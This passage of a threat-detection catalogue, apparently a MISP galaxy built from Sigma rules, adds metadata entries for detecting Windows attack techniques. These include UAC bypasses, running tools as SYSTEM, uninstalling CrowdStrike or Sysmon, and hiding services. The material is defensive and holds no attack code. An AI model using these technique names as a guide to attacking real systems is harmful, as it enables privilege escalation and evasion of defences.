"Detects tools such as UACMe used to bypass UAC with computerdefaults.exe (UACMe 59)", + "uuid": "3c05e90d-7eba-4324-9972-5d7f711a60a8", + "value": "UAC Bypass Tools Using ComputerDefaults", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tools_uac_bypass_computerdefaults.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/31", + "filename": "proc_creation_win_tools_uac_bypass_computerdefaults.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of NirCmd tool for command execution, which could be the result of legitimate administrative activity", + "uuid": "4e2ed651-1906-4a59-a78a-18220fca1b22", + "value": "NirCmd Tool Execution", + "meta": { + "refs": [ + "https://www.nirsoft.net/utils/nircmd.html", + "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", + "https://www.nirsoft.net/utils/nircmd2.html#using", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_nircmd.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002", + "attack.s0029" + ], + "creation_date": "2022/01/24", + "filename": "proc_creation_win_tool_nircmd.yml", + "author": "Florian Roth, Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use by administrators" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of NirCmd tool for command execution as SYSTEM user", + "uuid": "d9047477-0359-48c9-b8c7-792cedcdc9c4", + "value": "NirCmd Tool Execution As LOCAL SYSTEM", + "meta": { + "refs": [ + "https://www.nirsoft.net/utils/nircmd.html", + "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", + "https://www.nirsoft.net/utils/nircmd2.html#using", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_nircmd_as_system.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002", + "attack.s0029" + ], + "creation_date": "2022/01/24", + "filename": "proc_creation_win_tool_nircmd_as_system.yml", + "author": "Florian Roth, Nasreddine Bencherchali @nas_bench", + "level": "high", + "falsepositive": [ + "Legitimate use by administrators" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of NSudo tool for command execution", + "uuid": "771d1eb5-9587-4568-95fb-9ec44153a012", + "value": "NSudo Tool Execution", + "meta": { + "refs": [ + "https://nsudo.m2team.org/en-us/", + "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_nsudo_execution.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002", + "attack.s0029" + ], + "creation_date": "2022/01/24", + "filename": "proc_creation_win_tool_nsudo_execution.yml", + "author": "Florian Roth, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate use by administrators" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects PsExec service execution via default service image name", + "uuid": "fa91cc36-24c9-41ce-b3c8-3bbc3f2f67ba", + "value": "PsExec Tool Execution", + "meta": { + "refs": [ + "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", + "https://jpcertcc.github.io/ToolAnalysisResultSheet", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_psexec.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002", + "attack.s0029" + ], + "creation_date": "2017/06/12", + "filename": "proc_creation_win_tool_psexec.yml", + "author": "Thomas Patzke", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of RunXCmd tool for command execution", + "uuid": "93199800-b52a-4dec-b762-75212c196542", + "value": "RunXCmd Tool Execution As System", + "meta": { + "refs": [ + "https://www.d7xtech.com/free-software/runx/", + "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_runx_as_system.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002", + "attack.s0029" + ], + "creation_date": "2022/01/24", + "filename": "proc_creation_win_tool_runx_as_system.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use by administrators" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Tor or Tor-Browser to connect to onion routing networks", + "uuid": "62f7c9bf-9135-49b2-8aeb-1e54a6ecc13c", + "value": "Tor Client or Tor Browser Use", + "meta": { + "refs": [ + "https://www.logpoint.com/en/blog/detecting-tor-use-with-logpoint/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tor_browser.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1090.003" + ], + "creation_date": "2022/02/20", + "filename": "proc_creation_win_tor_browser.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect use of TruffleSnout.exe", + "uuid": "69ca006d-b9a9-47f5-80ff-ecd4d25d481a", + "value": "Launch TruffleSnout Executable", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1482/T1482.md", + "https://github.com/dsnezhkov/TruffleSnout", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_trufflesnout.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1482" + ], + "creation_date": "2022/08/20", + "filename": "proc_creation_win_trufflesnout.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Identifies execution of nltest.exe and dsquery.exe for domain trust discovery. This technique is used by attackers to enumerate Active Directory trusts.", + "uuid": "3bad990e-4848-4a78-9530-b427d854aac0", + "value": "Domain Trust Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1482/T1482.md", + "https://eqllib.readthedocs.io/en/latest/analytics/03e231a6-74bc-467a-acb1-e5676b0fb55e.html", + "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", + "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", + "https://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_trust_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1482" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_trust_discovery.yml", + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community, omkar72", + "level": "medium", + "falsepositive": [ + "Legitimate use of the utilities by legitimate user for legitimate reason" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects an UAC bypass that uses changepk.exe and slui.exe (UACMe 61)", + "uuid": "503d581c-7df0-4bbe-b9be-5840c0ecc1fc", + "value": "UAC Bypass Using ChangePK and SLUI", + "meta": { + "refs": [ + "https://mattharr0ey.medium.com/privilege-escalation-uac-bypass-in-changepk-c40b92818d1b", + "https://github.com/hfiref0x/UACME", + "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_changepk_slui.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/23", + "filename": "proc_creation_win_uac_bypass_changepk_slui.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using scheduled tasks and variable expansion of cleanmgr.exe (UACMe 34)", + "uuid": "b697e69c-746f-4a86-9f59-7bfff8eab881", + "value": "UAC Bypass Using Disk Cleanup", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_cleanmgr.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/30", + "filename": "proc_creation_win_uac_bypass_cleanmgr.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect commandline usage of Microsoft Connection Manager Profile Installer (cmstp.exe) to install specially formatted local .INF files", + "uuid": "e66779cc-383e-4224-a3a4-267eeb585c40", + "value": "Bypass UAC via CMSTP", + "meta": { + "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/e584f1a1-c303-4885-8a66-21360c90995b.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.003/T1218.003.md", + "https://lolbas-project.github.io/lolbas/Binaries/Cmstp/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_cmstp.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1548.002", + "attack.t1218.003" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_uac_bypass_cmstp.yml", + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", + "level": "high", + "falsepositive": [ + "Legitimate use of cmstp.exe utility by legitimate user" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)", + "uuid": "1ca6bd18-0ba0-44ca-851c-92ed89a61085", + "value": "UAC Bypass Using Consent and Comctl32 - Process", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_consent_comctl32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/23", + "filename": "proc_creation_win_uac_bypass_consent_comctl32.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using DismHost DLL hijacking (UACMe 63)", + "uuid": "853e74f9-9392-4935-ad3b-2e8c040dae86", + "value": "UAC Bypass Using DismHost", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_dismhost.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/30", + "filename": "proc_creation_win_uac_bypass_dismhost.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Identifies use of Fodhelper.exe to bypass User Account Control. Adversaries use this technique to execute privileged processes.", + "uuid": "7f741dcf-fc22-4759-87b4-9ae8376676a2", + "value": "Bypass UAC via Fodhelper.exe", + "meta": { + "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/e491ce22-792f-11e9-8f5c-d46d6d62a49e.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_fodhelper.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_uac_bypass_fodhelper.yml", + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community", + "level": "high", + "falsepositive": [ + "Legitimate use of fodhelper.exe utility by legitimate user" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects attempts to bypass User Account Control (UAC) by hijacking the Microsoft Management Console (MMC) Windows Firewall snap-in", + "uuid": "e52cb31c-10ed-4aea-bcb7-593c9f4a315b", + "value": "UAC Bypass via Windows Firewall Snap-In Hijack", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/uac-bypass-via-windows-firewall-snap-in-hijack.html#uac-bypass-via-windows-firewall-snap-in-hijack", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_hijacking_firwall_snap_in.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548" + ], + "creation_date": "2022/09/27", + "filename": "proc_creation_win_uac_bypass_hijacking_firwall_snap_in.yml", + "author": "Tim Rauch", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using ICMLuaUtil Elevated COM interface", + "uuid": "49f2f17b-b4c8-4172-a68b-d5bf95d05130", + "value": "UAC Bypass via ICMLuaUtil", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/uac-bypass-via-icmluautil-elevated-com-interface.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_icmluautil.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2022/09/13", + "filename": "proc_creation_win_uac_bypass_icmluautil.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the \"IDiagnosticProfileUAC\" UAC bypass technique", + "uuid": "4cbef972-f347-4170-b62a-8253f6168e6d", + "value": "UAC Bypass Using IDiagnostic Profile", + "meta": { + "refs": [ + "https://github.com/Wh04m1001/IDiagnosticProfileUAC", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_idiagnostic_profile.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2022/07/03", + "filename": "proc_creation_win_uac_bypass_idiagnostic_profile.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64)", + "uuid": "80fc36aa-945e-4181-89f2-2f907ab6775d", + "value": "UAC Bypass Using IEInstal - Process", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_ieinstal.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/30", + "filename": "proc_creation_win_uac_bypass_ieinstal.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)", + "uuid": "ad92e3f9-7eb6-460e-96b1-582b0ccbb980", + "value": "UAC Bypass Using MSConfig Token Modification - Process", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_msconfig_gui.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/30", + "filename": "proc_creation_win_uac_bypass_msconfig_gui.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36)", + "uuid": "39ed3c80-e6a1-431b-9df3-911ac53d08a7", + "value": "UAC Bypass Using NTFS Reparse Point - Process", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_ntfs_reparse_point.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/30", + "filename": "proc_creation_win_uac_bypass_ntfs_reparse_point.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using pkgmgr.exe and dism.exe (UACMe 23)", + "uuid": "a743ceba-c771-4d75-97eb-8a90f7f4844c", + "value": "UAC Bypass Using PkgMgr and DISM", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_pkgmgr_dism.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/23", + "filename": "proc_creation_win_uac_bypass_pkgmgr_dism.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)", + "uuid": "7a01183d-71a2-46ad-ad5c-acd989ac1793", + "value": "UAC Bypass Abusing Winsat Path Parsing - Process", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_winsat.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/30", + "filename": "proc_creation_win_uac_bypass_winsat.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)", + "uuid": "0058b9e5-bcd7-40d4-9205-95ca5a16d7b2", + "value": "UAC Bypass Using Windows Media Player - Process", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wmp.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/23", + "filename": "proc_creation_win_uac_bypass_wmp.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects use of WSReset.exe to bypass User Account Control (UAC). Adversaries use this technique to execute privileged processes.", + "uuid": "d797268e-28a9-49a7-b9a8-2f5039011c5c", + "value": "Bypass UAC via WSReset.exe", + "meta": { + "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/532b5ed4-7930-11e9-8f5c-d46d6d62a49e.html", + "https://lolbas-project.github.io/lolbas/Binaries/Wsreset/", + "https://www.activecyber.us/activelabs/windows-uac-bypass", + "https://twitter.com/ReaQta/status/1222548288731217921", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1548.002" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_uac_bypass_wsreset.yml", + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community, Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown sub processes of Wsreset.exe" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass via WSReset usable by default sysmon-config", + "uuid": "89a9a0e0-f61a-42e5-8957-b1479565a658", + "value": "UAC Bypass WSReset", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Wsreset/", + "https://github.com/hfiref0x/UACME", + "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset_integrity_level.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/23", + "filename": "proc_creation_win_uac_bypass_wsreset_integrity_level.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "uuid": "88656cec-6c3b-487c-82c0-f73ebb805503", + "value": "Use of UltraViewer Remote Access Software", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ultraviewer.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/09/25", + "filename": "proc_creation_win_ultraviewer.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may use legitimate desktop support and remote access software,to establish an interactive command and control channel to target systems within networks", + "uuid": "145322e4-0fd3-486b-81ca-9addc75736d8", + "value": "Use of UltraVNC Remote Access Software", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1219/T1219.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ultravnc.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/10/02", + "filename": "proc_creation_win_ultravnc.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities by uninstalling Crowdstrike Falcon", + "uuid": "f0f7be61-9cf5-43be-9836-99d6ef448a18", + "value": "Uninstall Crowdstrike Falcon", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uninstall_crowdstrike_falcon.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/07/12", + "filename": "proc_creation_win_uninstall_crowdstrike_falcon.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Uninstall by admin" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the uninstallation of Sysinternals Sysmon, which could be the result of legitimate administration or a manipulation for defense evasion", + "uuid": "6a5f68d1-c4b5-46b9-94ee-5324892ea939", + "value": "Uninstall Sysinternals Sysmon", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md#atomic-test-11---uninstall-sysmon", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uninstall_sysmon.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/01/12", + "filename": "proc_creation_win_uninstall_sysmon.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects an unexpected process spawning from dns.exe which may indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)", + "uuid": "a4e3d776-f12e-42c2-8510-9e6ed1f43ec3", + "value": "Unusual Child Porcess of dns.exe", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/unusual-child-process-of-dns.exe.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_unusual_child_process_of_dns_exe.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1133" + ], + "creation_date": "2022/09/27", + "filename": "proc_creation_win_unusual_child_process_of_dns_exe.yml", + "author": "Tim Rauch", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious parent process for cmd.exe", + "uuid": "4b991083-3d0e-44ce-8fc4-b254025d8d4b", + "value": "Unusual Parent Process for cmd.exe", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/unusual-parent-process-for-cmd.exe.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_unusual_parent_for_cmd.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/09/21", + "filename": "proc_creation_win_unusual_parent_for_cmd.yml", + "author": "Tim Rauch", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the Get-ADUser cmdlet to collect user information and output it to a file", + "uuid": "c2993223-6da8-4b1a-88ee-668b8bf315e9", + "value": "User Discovery And Export Via Get-ADUser Cmdlet", + "meta": { + "refs": [ + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_user_discovery_get_aduser.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033" + ], + "creation_date": "2022/09/09", + "filename": "proc_creation_win_user_discovery_get_aduser.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate admin scripts may use the same technique, it's better to exclude specific computers or users who execute these commands or scripts often" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detection of sc.exe utility spawning by user with Medium integrity level to change service ImagePath or FailureCommand", + "uuid": "d937b75f-a665-4480-88a5-2f20e9f9b22a", + "value": "Possible Privilege Escalation via Weak Service Permissions", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", + "https://pentestlab.blog/2017/03/30/weak-service-permissions/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_using_sc_to_change_sevice_image_path_by_non_admin.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1574.011" + ], + "creation_date": "2019/10/26", + "filename": "proc_creation_win_using_sc_to_change_sevice_image_path_by_non_admin.yml", + "author": "Teymur Kheirkhabarov", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detection of sc.exe utility adding a new service with special permission which hides that service.", + "uuid": "a537cfc3-4297-4789-92b5-345bfd845ad0", + "value": "Abuse of Service Permissions to Hide Services in Tools", + "meta": { + "refs": [ + "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", + "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", + "https://twitter.com/Alh4zr3d/status/1580925761996828672", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_using_sc_to_hide_sevices.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1574.011" + ], + "creation_date": "2021/12/20", + "filename": "proc_creation_win_using_sc_to_hide_sevices.yml", + "author": "Andreas Hunkeler (@Karneades)", + "level": "high", + "falsepositive": [ + "Rare intended use of hidden services" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects using SettingSyncHost.exe to run hijacked binary", + "uuid": "b2ddd389-f676-4ac4-845a-e00781a48e5f", + "value": "Using SettingSyncHost.exe as LOLBin", + "meta": { + "refs": [ + "https://www.hexacorn.com/blog/2020/02/02/settingsynchost-exe-as-a-lolbin", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_using_settingsynchost_as_lolbin.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1574.008" + ], + "creation_date": "2020/02/05", + "filename": "proc_creation_win_using_settingsynchost_as_lolbin.yml", + "author": "Anton Kutepov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the \"Set-Service\" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as \"sc.exe\", \"Get-Service\"...etc. (Works only in powershell 7)", + "uuid": "514e4c3a-c77d-4cde-a00f-046425e2301e", + "value": "Abuse of Service Permissions to Hide Services Via Set-Service", + "meta": { + "refs": [ + 